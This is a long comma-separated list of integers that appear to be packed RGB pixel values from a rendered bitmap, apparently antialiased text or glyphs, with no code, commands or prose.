16767888,3801088,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,14389306,0,0,0,0,0,102,11993087,16777215,16777215,16777215,16777215,16767888,3801088,0,3838171,16777215,16758374,0,0,0,0,58,9493503,16777179,9452032,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,6731519,16777215,16777215,16758374,0,0,26294,16777215,16777215,16777142,6684672,0,3838171,16777215,16777215,14389306,0,0,0,26294,16777215,16767888,3801088,0,0,0,3827382,14408703,16777215,16777215,16777179,11964518,3801088,0,0,0,26294,16777215,16777215,16777215,16777215,16777215,16777179,14399120,6699520,0,0,0,0,0,3827382,14408703,16777215,16777215,16777179,11964518,3801088,0,0,0,3838171,16777215,16777215,16777215,16777215,16777215,16777215,14408630,6699520,0,0,0,0,0,3827382,14408703,16777215,16777215,16777179,14399120,6699520,0,0,14992,14417919,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,14389306,0,3838171,16777215,14389306,0,0,0,0,26294,16777215,16767888,3801088,26294,16777215,16767888,3801088,0,0,0,0,0,3838171,16777215,16758374,6731519,16777215,11953664,0,0,0,0,0,0,14992,14417919,16777142,6684774,11993087,16777215,11953664,0,0,0,0,102,11993087,16777215,11953664,3838171,16777215,16767888,3801088,0,0,0,0,0,3838171,16777215,16767888,3801088,3838171,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16767888,3801088,0,0,0,14992,14417919,16777142,6699578,3815994,3815994,3815994,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,0,14906,3815994,3815994,3815994,6731519,16777215,14389306,0,0,0,0,0,0,0,3838171,16777215,16777215,16758374,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777215,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,6731519,16777215,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3827382,14408703,16777215,16777215,16777215,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,0,0,0,0,6731519,16777215,16777215,11953664,0,0,0,0,0,0,0,0,0,6731519,16777215,16777215,11953664,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,102,11993087,16777215,16777215,16777215,16777215,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,3815994,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,16777215,14389350,3815994,3815936,0,0,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,0,58,3815994,3827382,14417919,16777215,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14950,11983835,16777215,16777215,16777179,11964518,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777215,16767888,3801088,0,0,0,0,0,3838171,16777215,16767888,3801088,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,0,6731519,16777215,16777215,16777215,16777215,16777215,16777215,16767888,3801088,0,0,0,26294,16777215,16777215,11953664,102,11993087,16777215,16758374,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9483995,14408667,14408667,11974288,6699520,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,14389306,0,0,0,0,14950,11983871,16777215,16777215,16767963,11953722,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14950,9483995,14408667,14408667,11964474,0,0,0,0,0,0,0,14992,11983835,14408667,14408667,14399120,3801088,0,0,0,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3827382,14408703,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16767888,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3827302,9483958,11974288,6699520,0,0,0,0,0,0,0,58,6721718,14408667,14408667,14399078,3815936,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,6731483,14417919,16777215,14389306,0,0,0,0,0,0,0,58,6731483,14417919,16777215,14389306,0,0,0,0,0,0,0,58,9484031,16777215,16777215,16777215,14399078,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777215,16777215,16767888,3801088,0,0,0,0,0,0,0,3838171,16777215,16777215,16767888,3801088,0,0,0,0,0,0,0,3838171,16777215,16777215,16767888,3801088,0,0,0,0,0,0,0,3838171,16777215,16777215,16767888,3801088,0,0,0,0,0,0,0,3838171,16777215,16777215,16767888,3801088,0,0,0,0,0,0,0,3838171,16777215,16777215,16767888,3801088,0,0,0,0,0,0,0,6731519,16777215,16777215,16777215,16777215,16777215,16777215,11953664,0,0,0,58,3827382,14408667,16777215,16777215,16777215,14408630,9463354,0,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,11953664,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,11953664,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,11953664,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,11953664,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,14389306,0,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,14389306,0,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,14389306,0,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,14389306,0,0,3838171,16777215,16777215,16777215,16777215,16777179,14399120,6699520,0,0,0,0,3838171,16777215,16777215,14389306,0,0,0,26294,16777215,16767888,3801088,0,0,0,3827382,14408703,16777215,16777215,16777179,11964518,3801088,0,0,0,0,0,3827382,14408703,16777215,16777215,16777179,11964518,3801088,0,0,0,0,0,3827382,14408703,16777215,16777215,16777179,11964518,3801088,0,0,0,0,0,3827382,14408703,16777215,16777215,16777179,11964518,3801088,0,0,0,0,0,3827382,14408703,16777215,16777215,16777179,11964518,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3827382,14408703,16777215,16777215,16777179,11964518,9493503,16777142,6684672,0,3838171,16777215,14389306,0,0,0,0,26294,16777215,16767888,3801088,0,3838171,16777215,14389306,0,0,0,0,26294,16777215,16767888,3801088,0,3838171,16777215,14389306,0,0,0,0,26294,16777215,16767888,3801088,0,3838171,16777215,14389306,0,0,0,0,26294,16777215,16767888,3801088,3838171,16777215,16767888,3801088,0,0,0,0,0,3838171,16777215,16767888,3801088,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,0,0,58,6721718,14417919,16777215,16777215,16767926,9452032,0,0,0,0,0,0,6731519,16777215,11953664,0,0,0,0,0,0,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,26294,16777215,16758374,9484031,16777179,9452032,0,0,0,0,0,3838171,16777215,16777179,14417919,16777215,16777215,16777215,16758374,0,0,0,0,3838171,16777215,16777179,9452032,14992,14417919,16777215,14389306,0,0,0,0,0,3838171,16777142,6684672,102,11993087,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777215,14389306,0,0,0,0,0,0,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,0,14992,14417919,16767888,9474267,16777215,11953664,0,0,0,0,0,26294,16777215,16777215,11953664,102,11993087,16777215,16758374,0,0,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,0,0,0,0,0,6731519,16777215,11953664,0,0,0,0,0,0,0,6731519,16777215,11953766,11993087,16777142,6684672,0,0,0,0,58,9493503,16777215,16767888,3801088,3838171,16777215,16777179,9452032,0,0,0,0,14950,9483995,16777215,16767926,6699520,0,3827344,9483920,3801088,0,0,3838171,16777215,16777179,14417919,16777215,16777215,16777215,16767888,3801088,0,0,0,0,0,3838171,16777215,14389306,0,0,0,0,0,0,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,0,14992,14417919,16767888,9474267,16777215,11953664,0,0,0,0,0,14992,14417919,16777215,16777215,16777215,16777179,16777215,16777142,6684672,0,0,0,26294,16777215,16777215,11953664,102,11993087,16777215,16758374,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,6731519,16777215,14389306,0,0,0,0,0,0,0,0,0,0,26294,16777215,16758374,0,0,0,0,0,0,0,26294,16777215,14389306,6731519,16777215,11953664,0,0,0,0,0,3838171,16777215,16777179,9452032,14992,14417919,16777215,14389306,0,0,0,0,0,0,0,102,11993087,16777142,6684672,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,0,14992,14417919,16777215,14389306,58,9493503,16777215,16767888,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,0,102,11993087,16777179,9452032,58,9493503,16777215,14389306,0,0,0,0,0,3838171,16777215,11953664,0,102,11993087,16767888,3801088,0,0,0,3838171,16777215,16777215,16777215,16777215,16777215,16777215,16777215,14389306,0,102,11993087,16777215,14399158,11983871,16777215,14389306,0,0,0,0,0,0,0,14992,14417919,16777215,16777215,14408703,16777215,16777215,16767888,3801088,0,0,0,0,0,102,11993087,16777215,11953664,0,0,0,0,0,0,0,58,9493503,16777215,16758374,3801088,0,0,0,0,0,0,0,0,0,3827382,16777215,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,16777179,9452032,0,0,0,26294,14417919,16777215,16777179,14408703,16777215,16777215,14389306,0,0,0,102,11993087,16777215,16777215,16777215,16777215,14389306,0,0,0,0,0,14992,14417919,16777215,16777215,16767963,14417919,16777215,16777215,16758374,0,0,0,14992,14417919,16777215,16777215,16767963,14408703,16777215,16777215,16777142,6684672,0,0,0,26294,16777215,16767888,3801088,0,102,11993087,16777179,9452032,0,0,0,6731519,16777215,16777215,16777215,16777215,16777215,16777215,16777215,11953664,0,0,0,0,0,3838134,14417919,16777215,16777215,16777215,16777142,6684672,0,58,9493503,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,11953664,0,0,6731519,16777215,16777215,16777179,14408703,16777215,16777215,16777142,6684672,0,0,0,6731519,16777215,16777215,16777179,14408703,16777215,16777215,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14992,14417919,16777215,16777215,16777215,16777215,16777215,16777215,16767888,3801088,0,0,0,14992,14417919,16777215,16777179,14408667,16777215,16777215,16767926,6684672,0,0,0,0,0,6731519,16777215,16777215,16777142,6684672,0,0,0,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16767888,3801088,0,0,0,102,11983871,16777215,16777215,16777179,14408667,16777215,16777215,16777215,14389306,0,3838171,16777215,16777215,16777215,16777215,16777215,16777215,16777215,14389306,0,0,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,11953664,0,14992,14417919,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,14389306,0,0,14992,14417919,16777215,16777215,16767963,14408667,16777215,16777215,16777179,11953664,0,3838171,16777215,14389306,0,0,0,0,26294,16777215,16767888,3801088,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,14389306,0,0,0,0,0,102,11993087,16777215,16777215,16777215,16777215,16767888,3801088,0,3838171,16777215,16758374,0,0,0,0,102,11993087,16777179,9452032,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,6731519,16777215,16777215,16767888,3801088,0,3838171,16777215,16777215,16777142,6684672,0,3838171,16777215,16777215,16767888,3801088,0,0,26294,16777215,16767888,3801088,0,0,3838171,16777215,16777215,16777179,14408703,16777215,16777215,16767888,3801088,0,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,11953664,0,0,0,3838171,16777215,16777215,16777179,14408703,16777215,16777215,16767888,3801088,0,0,3838171,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777179,11953664,0,0,0,3838171,16777215,16777215,16777179,14408703,16777215,16777215,16777215,14389306,0,14992,14417919,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,14389306,0,3838171,16777215,14389306,0,0,0,0,26294,16777215,16767888,3801088,14992,14417919,16777142,6684672,0,0,0,0,0,6731519,16777215,14389306,6731519,16777215,14389306,0,0,0,0,0,0,14992,14417919,16777142,6684672,3838171,16777215,16767888,3801088,0,0,0,3838171,16777215,16767888,3801088,102,11993087,16777179,9452032,0,0,0,0,58,9493503,16777215,11953664,0,3838171,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16767888,3801088,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,6731519,16777215,14389306,0,0,0,0,0,0,58,9493503,16777179,14408703,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,16777215,16758374,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,6731519,16777215,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,6731519,16777215,16777215,16777215,16777215,16777215,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777215,16777179,9452032,0,0,0,0,0,0,0,0,0,3838171,16777215,16777179,9452032,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,102,11993087,16777215,16777215,16777215,16777215,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777215,16758374,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,0,0,0,0,6731519,16777215,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,0,0,0,14992,14417919,16777215,16777179,14408703,16777215,16777215,16758374,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,58,9493503,16777215,11953664,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,14992,14417919,16777215,11953722,3801088,0,0,0,0,0,0,0,0,102,11983871,16767926,6684672,0,6731483,16777179,11953664,0,0,0,0,58,3827382,14408703,16777215,16777215,16777179,14399078,3815936,0,0,0,0,58,9483995,14408667,14408703,16777215,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,3827382,14408703,16777215,16777215,16777179,14399078,3815936,0,0,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,14389306,0,0,0,14992,14417919,16777215,16777179,14408703,16777215,16777215,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777215,14408667,16777215,16777215,14389306,0,0,0,0,0,0,14992,14417883,14408667,14417919,16777215,16758374,0,0,0,0,0,0,0,26294,16777215,16758374,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,6731519,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16767888,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777215,16777215,16777179,9452032,0,0,0,0,0,0,0,6731519,16777215,16777179,14408703,16777215,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,14408667,16777215,14389306,0,0,0,0,0,0,0,102,11993087,14408667,16777215,14389306,0,0,0,0,0,0,0,0,6721755,11974326,11974326,14417919,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,6731519,16777215,16777215,16777142,6684672,0,0,0,0,0,0,0,6731519,16777215,16777215,16777142,6684672,0,0,0,0,0,0,0,6731519,16777215,16777215,16777142,6684672,0,0,0,0,0,0,0,6731519,16777215,16777215,16777142,6684672,0,0,0,0,0,0,0,6731519,16777215,16777215,16777142,6684672,0,0,0,0,0,0,0,6731519,16777215,16777215,16777142,6684672,0,0,0,0,0,0,102,11993087,16777215,16777215,16777215,16777215,16777215,16777215,11953664,0,0,102,11983871,16777215,16777215,16777179,14408667,16777215,16777215,16777215,14389306,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,11953664,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,11953664,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,11953664,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,11953664,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,14389306,0,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,14389306,0,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,14389306,0,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,14389306,0,0,3838171,16777215,16777215,16777215,16777215,16777215,16777215,16777215,14389306,0,0,0,3838171,16777215,16777215,16767888,3801088,0,0,26294,16777215,16767888,3801088,0,0,3838171,16777215,16777215,16777179,14408703,16777215,16777215,16767888,3801088,0,0,0,3838171,16777215,16777215,16777179,14408703,16777215,16777215,16767888,3801088,0,0,0,3838171,16777215,16777215,16777179,14408703,16777215,16777215,16767888,3801088,0,0,0,3838171,16777215,16777215,16777179,14408703,16777215,16777215,16767888,3801088,0,0,0,3838171,16777215,16777215,16777179,14408703,16777215,16777215,16767888,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777215,16777215,16777179,14408703,16777215,16777215,16777215,14389306,0,0,3838171,16777215,14389306,0,0,0,0,26294,16777215,16767888,3801088,0,3838171,16777215,14389306,0,0,0,0,26294,16777215,16767888,3801088,0,3838171,16777215,14389306,0,0,0,0,26294,16777215,16767888,3801088,0,3838171,16777215,14389306,0,0,0,0,26294,16777215,16767888,3801088,102,11993087,16777179,9452032,0,0,0,0,58,9493503,16777215,11953664,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,0,58,9493503,16777215,16777215,16777215,16777215,16777215,16777179,9452032,0,0,0,0,0,14992,14417919,16767888,3801088,0,0,0,0,0,0,0,0,0,6731519,16777215,11953664,0,0,0,0,0,0,102,11993087,16777179,9452032,14992,14417919,16767888,3801088,0,0,0,0,6731519,16777179,9452032,0,3827344,11983835,14408630,6684672,0,0,0,0,26294,16777215,16777142,6684672,102,11993087,16777215,11953664,0,0,0,0,0,14992,14417919,14408630,11983871,16777179,9452032,0,0,0,0,0,0,0,0,0,0